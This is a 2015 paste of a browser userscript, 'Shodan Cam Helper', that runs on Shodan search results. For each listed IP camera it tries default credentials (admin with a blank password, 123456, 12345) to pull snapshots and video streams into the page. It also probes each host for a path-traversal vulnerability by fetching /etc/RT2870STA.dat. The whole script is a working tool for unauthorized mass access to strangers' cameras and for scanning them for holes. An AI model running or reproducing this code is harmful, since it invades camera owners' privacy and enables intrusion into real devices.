SHARE
TWEET

banana

a guest Mar 17th, 2015 470 Never
  1. // ==UserScript==
  2. // @name         Shodan Cam Helper
  3. // @namespace    http://ebaumsworld.com/
  4. // @version      0.1
  5. // @description  Adds snapshots for your IP cameras
  6. // @author       joe
  7. // @match        https://www.shodan.io/search?query*
  8. // @grant        GM_xmlhttpRequest
  9. // ==/UserScript==
  10.  
  11. var ENABLED_LOGGABLE_VIDEOSTREAM = false;
  12. var ENABLED_SNAPSHOT = true;
  13. var ENABLED_TRAVERSAL = true;
  14. var IPs = [];
  15.  
  16. addCredentials = function(type, username, password, url)
  17. {
  18.         if(type == 1)
  19.         { // add at http
  20.                 return url.replace("http://", "http://" + username + ":" + password + "@");
  21.         }
  22.         else
  23.         {
  24.                 if(url.indexOf("?") > 0)
  25.                 {
  26.                         url += "&";
  27.                 }
  28.                 else
  29.                 {
  30.                         url += "?";
  31.                 }
  32.                 return url + "user=" + username + "&pwd=" + password;
  33.         }
  34. }
  35.  
  36.  
  37. var shodanIPs = document.getElementsByClassName("ip");
  38. var i = 0;
  39. for(i = 0; i < shodanIPs.length; i++)
  40. {
  41.         var url = shodanIPs[i].getElementsByTagName("a")[0].href;
  42.         var videostream =  addCredentials(1, "admin", "", url + "videostream.cgi");
  43.         var snapshot = addCredentials(2, "admin", "", url + "snapshot.cgi");
  44.         var snapshot2 = addCredentials(2, "admin", "123456", url + "snapshot.cgi");
  45.         var snapshot3 = addCredentials(2, "admin", "12345", url + "snapshot.cgi");
  46.    
  47.         var addition = "<br />";
  48.    
  49.         if(ENABLED_LOGGABLE_VIDEOSTREAM)
  50.         {
  51.                 addition += "Loggable: <img src=\"" + videostream + "\" /><br />";
  52.         }
  53.         if(ENABLED_SNAPSHOT)
  54.         {
  55.                 addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot + "\" /><br />";
  56.                 addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot2 + "\" /><br />";
  57.                 addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot3 + "\" /><br />";
  58.         }
  59.     if(ENABLED_TRAVERSAL)
  60.     {
  61.         addition += "<div class=\"" + url + "\"> </div>";
  62.         IPs.push(url);
  63.     }
  64.    
  65.         shodanIPs[i].innerHTML += addition;
  66. }
  67.  
  68. function checkVulnerability()
  69. {
  70.     if(IPs.length > 0)
  71.     {
  72.         var currentIP = IPs.pop();
  73.         GM_xmlhttpRequest({
  74.             url: currentIP + "/etc/RT2870STA.dat",
  75.             method: "GET",
  76.             onload: function(response) {
  77.                 var text = "";
  78.                 if(response.status == "200")
  79.                 {
  80.                     text = "<b><u>Vulnerable to //proc/kcore!</u></b>";
  81.                 }
  82.                 else
  83.                 {
  84.                     text = "Not vulnerable?";
  85.                 }
  86.                 document.getElementsByClassName(currentIP)[0].innerHTML = text;
  87.                 checkVulnerability();
  88.             }
  89.         });
  90.     }
  91. }
  92.  
  93. checkVulnerability();
RAW Paste Data
Top